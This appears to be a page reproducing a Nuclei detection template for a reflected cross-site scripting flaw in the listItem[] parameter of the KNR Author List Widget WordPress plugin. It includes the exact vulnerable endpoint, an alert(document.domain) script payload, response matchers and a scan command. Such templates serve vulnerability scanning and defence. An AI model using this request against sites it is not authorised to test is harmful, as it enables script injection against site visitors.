KNR Author List Widget - Cross-site Scripting

ID: knr-widget-xss

Severity: medium

Author: theamanrawat

Tags: xss,knr-author-list-widget,wordpress,wp,wp-plugin

Description

KNR Author List Widget suffers from Cross-site Scripting (XSS) in the listItem[] parameter.

YAML Source

id: knr-widget-xss

info:
  name: KNR Author List Widget - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    KNR Author List Widget suffers from Cross-site Scripting (XSS) in the listItem[] parameter.
  reference:
    - https://wordpress.org/plugins/knr-author-list-widget/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: xss,knr-author-list-widget,wordpress,wp,wp-plugin

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'item: <script>alert(document.domain)</script>'
          - 'Saved on'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f302244baa8616ef0bf1e955faec2d2dab8daf228b174d8272914e20bf4acd88022100f2cbe51e66938942aeece873f9b7ab012aef2e3b575c75e8c2b666278a36867e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/knr-widget-xss.yaml"

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